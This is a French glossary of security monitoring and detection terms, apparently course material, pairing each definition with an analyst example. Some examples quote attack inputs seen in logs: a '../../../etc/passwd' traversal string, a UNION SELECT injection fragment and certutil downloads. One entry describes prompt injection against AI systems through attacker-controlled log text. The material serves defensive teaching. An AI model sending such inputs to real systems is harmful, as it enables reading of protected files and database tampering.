Horodatage d’ingestion
L’horodatage d’ingestion indique quand la plateforme de journalisation reçoit un événement, ce qui permet de mesurer les délais entre l’activité et la collecte.
L’écart entre les horodatages de l’événement et de l’ingestion révèle qu’un flux cloud arrive plus tard que d’habitude.
Horodatage de l’événement
L’horodatage de l’événement indique quand l’activité décrite par un enregistrement a eu lieu ; il diffère du moment ultérieur où un collecteur le reçoit.
Une connexion mise en tampon conserve son horodatage d’origine même lorsqu’elle arrive avec vingt minutes de retard.

I

Identifiant de ressource
Un identifiant de ressource identifie une ressource cloud de façon plus fiable qu’une adresse IP temporaire lorsque l’infrastructure est créée et supprimée rapidement.
Un identifiant d’instance relie l’activité malgré un changement d’adresse pendant une mise à l’échelle automatique.
Incident
Un incident menace les informations ou les systèmes, ou implique une violation effective ou imminente de la loi, de la politique ou des procédures de sécurité ou de la politique d’utilisation acceptable.
Un accès non autorisé aux données, une fois vérifié, transforme l’alerte en incident nécessitant une transmission à l’équipe de réponse.
Indicateur de compromission
Un indicateur de compromission est un artefact observable, comme un domaine ou une empreinte de fichier, qui suggère qu’un système peut être compromis.
L’analyste recherche un domaine suspect dans les journaux DNS et de proxy pour identifier les hôtes qui l’ont contacté.
Ingénierie de la détection
L’ingénierie de la détection est la conception, le test, le déploiement et la maintenance reproductibles d’une logique qui identifie des comportements de menace pertinents.
La personne chargée de la détection vérifie la disponibilité des données avant d’écrire une règle et conserve les résultats des tests avec sa documentation.
Injection de prompt
Une injection de prompt place des instructions dans une entrée non fiable pour influencer un système d’IA, notamment dans du texte de journal contrôlé par un attaquant.
L’assistant traite une instruction intégrée dans une chaîne d’agent utilisateur comme un texte constituant un élément de preuve, pas comme une commande.
Injection SQL
Une injection SQL est une tentative visant à faire modifier une requête de base de données par une entrée applicative, souvent visible sous forme de fragments de langage de requête dans les paramètres.
Une apostrophe et UNION SELECT dans un paramètre d’URL conduisent l’analyste à examiner les événements d’audit de la base de données.

J

Journal
Un journal est un relevé d’événements qui conserve des détails comme l’heure, l’hôte, l’utilisateur, l’action et le résultat pour un examen ultérieur.
L’analyste recherche dans le journal VPN le compte qui a ouvert une session d’accès à distance.
Journal d’audit applicatif
Un journal d’audit applicatif enregistre les actions pertinentes dans un service, comme les connexions, les accès aux données, les exports et les modifications d’autorisations.
Le journal d’audit montre quel compte a exporté des enregistrements après une connexion suspecte à l’application.
Journal d’audit du cloud
Un journal d’audit du cloud enregistre l’activité des API avec des détails comme l’appelant, l’action, l’heure, l’origine, les paramètres de la cible et le résultat.
L’analyste distingue l’identité de l’appelant du compte désigné comme cible d’une nouvelle clé d’accès.
Journalisation des blocs de script
La journalisation des blocs de script enregistre le contenu des scripts PowerShell pendant leur exécution, fournissant plus de détails que la commande de lancement dans les enregistrements de création de processus.
L’événement 4104 aide l’analyste à lire le script associé à un lancement PowerShell encodé.

L

LOLBin
Un LOLBin est un outil système légitime qu’un attaquant détourne pour mener une activité tout en se fondant dans le travail normal.
L’analyste vérifie la ligne de commande de certutil après son téléchargement d’un fichier depuis une adresse inconnue.

M

Mise en correspondance avec ATT&CK
Une mise en correspondance avec ATT&CK indique les techniques qu’une détection vise à couvrir, ce qui aide à planifier une surveillance pertinente et à identifier les lacunes.
Une association à une technique PowerShell décrit l’intention, tandis que les tests par rejeu montrent si la règle locale la détecte.
Modèle de responsabilité partagée
Le modèle de responsabilité partagée répartit les responsabilités de sécurité cloud entre le fournisseur et le client, notamment la surveillance par le client de sa propre activité.
Le client active les exports d’audit des ressources au lieu de supposer que la surveillance du fournisseur couvre ses comptes.

N

Navigation forcée
La navigation forcée consiste à demander des chemins devinés ou découverts pour trouver des ressources que la navigation ordinaire peut ne pas exposer au demandeur.
Une rafale d’entrées 404 pour des chemins d’administration et de sauvegarde suggère une découverte automatisée de ressources.
Nombre de valeurs distinctes
Un nombre de valeurs distinctes mesure combien de valeurs différentes apparaissent dans un groupe, sans compter les occurrences répétées d’une même valeur.
Vingt échecs pour un nom d’utilisateur donnent un nombre d’utilisateurs distincts de un, pas de vingt.
Normalisation
La normalisation convertit les événements équivalents selon des noms de champs, des types et des valeurs communs pour que différentes sources puissent être interrogées ensemble.
Les échecs d’authentification Windows et cloud reçoivent tous deux event.outcome=failure dans le schéma commun.

O

Octroi de consentement OAuth
Un octroi de consentement OAuth autorise une application à accéder à des données ou capacités précisées et peut préserver cet accès après le changement du mot de passe d’un utilisateur.
L’analyste examine les autorisations de messagerie d’une application au lieu de considérer qu’une réinitialisation de mot de passe suffit.

P

Persistance
La persistance est un moyen de conserver un accès après des événements comme un redémarrage ou une fermeture de session, souvent au moyen de services, de tâches, de comptes ou de paramètres de démarrage.
Une nouvelle tâche planifiée pointe vers un exécutable dans un dossier accessible en écriture par un utilisateur et s’exécute à l’ouverture de session.
Pivot d’investigation
Un pivot d’investigation permet de passer d’un indicateur à des enregistrements associés par un lien justifié, par exemple d’une adresse aux hôtes ou d’un processus à son utilisateur.
Après avoir trouvé d’autres hôtes qui contactent un domaine, l’analyste recherche leurs enregistrements de processus sur les terminaux.
Plan de contrôle
Le plan de contrôle gère les ressources et les autorisations ; ses journaux d’audit montrent donc les actions qui créent, modifient ou suppriment ces ressources.
Un changement de groupe de sécurité apparaît dans les enregistrements d’audit de gestion plutôt que dans un journal de lecture d’objets.
Plan de données
Le plan de données gère l’accès aux données contenues dans les ressources ; les journaux d’accès aux données enregistrent des actions comme la lecture et l’écriture d’objets individuels.
Pour vérifier si des objets ont été lus, l’analyste recherche dans les événements de données de stockage activés.
Précision
La précision, pour la qualité des alertes ici, est la part de toutes les alertes confirmées malveillantes, les correspondances autorisées étant incluses dans le dénominateur.
Six alertes confirmées malveillantes parmi 200 au total donnent une précision de 3 %, même si de nombreuses autres correspondances étaient autorisées.
Principal de service
Un principal de service est une identité d’application utilisée pour accéder à des ressources, dont les identifiants d’authentification et les autorisations doivent être surveillés comme ceux des comptes humains.
Un secret inattendu ajouté à un principal de service doté de pouvoirs étendus crée un nouveau moyen de s’authentifier.
Priorité
La priorité fixe l’ordre de traitement des alertes selon l’impact, le niveau de confiance et la criticité des actifs ou des identités concernés.
Une alerte de gravité moyenne sur un contrôleur de domaine passe avant une alerte de gravité élevée sur un système de test.
Procédure d’exploitation
Une procédure d’exploitation fournit des indications pratiques pour évaluer une alerte, notamment les éléments de preuve à examiner et la façon de prendre une décision étayée.
La procédure d’exploitation de la règle indique à l’analyste de vérifier les événements bruts, l’autorisation et les réussites ultérieures.
Processus parent
Un processus parent est le processus qui en lance un autre, fournissant du contexte sur la façon dont l’exécution d’un programme a commencé.
Word qui lance PowerShell relie un interpréteur de script au document que l’utilisateur venait d’ouvrir.
Pulvérisation de mots de passe
La pulvérisation de mots de passe essaie un ou quelques mots de passe probables sur de nombreux comptes, en maintenant souvent les tentatives par compte sous les seuils de verrouillage.
De nombreux comptes échouent une fois depuis une source, alors qu’aucun compte n’atteint individuellement sa limite d’échecs.

R

Rappel
Le rappel est la proportion de cas malveillants réels détectés, calculée en utilisant au dénominateur la somme des cas détectés et des cas manqués connus.
L’équipe utilise des tests d’attaque contrôlés pour révéler des cas manqués que les dossiers de clôture ordinaires ne peuvent pas montrer.
Référence de fonctionnement
Une référence de fonctionnement décrit le comportement ou la configuration attendus d’une entité ou d’un groupe de pairs sur une période de référence adaptée à ses cycles normaux.
Les volumes de connexions du lundi sont comparés à ceux des lundis précédents plutôt qu’à une période calme du week-end.
Réglage des détections
Le réglage des détections ajuste la logique, le périmètre, les seuils ou le contexte d’une détection pour améliorer ses résultats exploitables tout en conservant la détection du comportement de menace visé.
La personne chargée de la détection modifie une exception pour un scanneur autorisé après avoir examiné ses correspondances dans les dossiers de triage.
Règle de détection d’absence
Une règle de détection d’absence détecte un événement ou un signal attendu qui manque, rendant visible le silence d’une source qui devrait normalement transmettre.
L’absence du signal de vie attendu d’un contrôleur de domaine déclenche une vérification de l’état de son chemin de collecte.

S

Schéma
Un schéma définit les noms de champs, les types de données et les conventions de valeurs convenus qui donnent un sens cohérent aux événements structurés.
Le schéma stocke source.ip comme une adresse pour qu’une requête puisse vérifier son appartenance à un sous-réseau interne.
Score z
Un score z exprime à combien d’écarts-types une observation se situe au-dessus ou au-dessous de la moyenne de ses données de référence.
Pour calculer le score du volume quotidien transféré par un serveur, l’analyste soustrait sa moyenne habituelle, puis divise par l’écart-type de ses données de référence.
Sélection
Une sélection Sigma est un ensemble nommé de conditions de correspondance que la condition de détection de la règle combine avec d’autres sélections.
Une sélection recherche le chemin de l’exécutable tandis qu’une autre exige les deux fragments de ligne de commande.
SIEM
Un SIEM collecte les événements de plusieurs sources et permet de les rechercher, met en corrélation leurs champs et leurs motifs, puis présente des alertes et des vues de surveillance.
L’analyste utilise le SIEM pour relier des connexions normalisées aux événements associés de modification de compte.
Sigma
Sigma est un format YAML ouvert de règles portables de détection dans les journaux, dont la logique peut être traduite dans les langages de requête des systèmes cibles pris en charge.
Une règle Sigma sélectionne les créations de processus Windows et combine des conditions sur l’exécutable et la ligne de commande.
Signal de vie
Un signal de vie est un signal récurrent attendu qui montre qu’une source ou un chemin de collecte transmet toujours à la plateforme de surveillance.
Un signal de vie manquant du contrôleur de domaine déclenche une alerte sur l’état de la collecte avant qu’un analyste ait besoin de ses journaux.
Stockage immuable
Le stockage immuable protège les enregistrements conservés contre la modification ou la suppression selon les contrôles configurés pendant la période de protection.
Des copies centrales immuables restent disponibles après qu’un attaquant a effacé le journal local d’un serveur.
Surveillance de l’intégrité des fichiers
La surveillance de l’intégrité des fichiers détecte les changements de fichiers importants sélectionnés afin que les modifications inattendues puissent être examinées dans leur contexte.
Un changement inattendu du fichier hosts conduit à vérifier le processus et l’utilisateur responsables.
Syslog
Syslog est un format de messages et un système de journalisation normalisés, largement utilisés par les équipements réseau et les hôtes de type Unix pour signaler des événements.
Un pare-feu envoie des messages syslog à un collecteur qui les transmet à la plateforme de surveillance.

T

Taux de base
Un taux de base indique la fréquence d’un type d’activité dans la population sous-jacente, ce qui influe sur l’utilité d’un résultat d’alerte à grande échelle.
La rareté des attaques parmi des millions d’événements bénins signifie que même un faible taux de déclenchement à tort peut remplir la file.
Test de non-régression
Un test de non-régression vérifie qu’un changement a préservé un comportement de détection attendu qui fonctionnait avant ce changement.
Après le réglage, la personne chargée de la détection rejoue un cas positif connu et vérifie l’activité malveillante proche de la nouvelle exception.
Transmission du dossier lors de l’escalade
Une transmission du dossier lors de l’escalade remet un incident suspecté avec sa synthèse, ses entités, ses éléments de preuve, son urgence, les questions sans réponse et les risques immédiats.
L’équipe suivante reçoit les requêtes enregistrées et une inquiétude concernant une session toujours active avec la conclusion de l’analyste.
Traversée de répertoires
Une traversée de répertoires tente d’atteindre des fichiers hors d’un répertoire prévu en manipulant les chemins, généralement avec des segments de répertoire parent.
Le décodage d’une requête révèle ../../../etc/passwd, ce qui indique une tentative de sortie du chemin web.
Triage
Le triage est la première appréciation de la validité d’une alerte, de son urgence et de la suite à donner, étayée par les éléments de preuve bruts et le contexte pertinent.
L’analyste valide les événements d’authentification avant de décider s’il faut clôturer l’alerte ou procéder à l’escalade.
Tunnel DNS
Un tunnel DNS transporte des données dans des échanges DNS, créant souvent de longues étiquettes de requêtes et de nombreux sous-domaines uniques sous un même domaine.
Un ordinateur portable envoie des noms de requêtes inhabituellement longs vers un domaine rare alors que son volume DNS ordinaire reste faible.
Type d’ouverture de session
Un type d’ouverture de session Windows indique le chemin d’accès d’un événement d’authentification, par exemple interactif, réseau, de service, par lots ou par Bureau à distance.
Le type 10 indique un accès interactif à distance, tandis que le type 3 indique un accès réseau.

U

UEBA
L’UEBA désigne l’analyse du comportement des utilisateurs et des entités, qui construit des profils comportementaux et identifie les écarts à l’aide de l’historique des entités et de leurs pairs.
L’UEBA relie une connexion depuis un nouveau lieu à un accès aux données qui diffère du rôle habituel de l’utilisateur en finance.

V

Vrai positif
Un vrai positif, selon les catégories de résultat de ce cours, est une activité réellement malveillante qu’une détection identifie correctement.
Un usage non autorisé et confirmé d’identifiants d’authentification fournit un cas de vrai positif pour la revue ultérieure de la règle.
Vrai positif bénin
Un vrai positif bénin détecte correctement le comportement décrit lorsque ce comportement est autorisé et ne nécessite pas de réponse à incident.
Le scanneur de vulnérabilités approuvé déclenche une règle de balayage pendant sa fenêtre de scan documentée.

W

Web shell
Un web shell est un script malveillant côté serveur qui permet à un attaquant d’émettre des commandes par des requêtes vers une application web.
Un nouveau script dans un dossier de téléversement reçoit des requêtes POST tandis que le processus du serveur web lance un interpréteur de commandes.

À propos de cette unité

Par StudeliSignaler une erreur

Crée ton propre Matériel d'Étude

Transforme tes notes, diapos et documents en Guides d'Étude, Questions Pratiques, Flashcards et 6 autres outils.

Commencer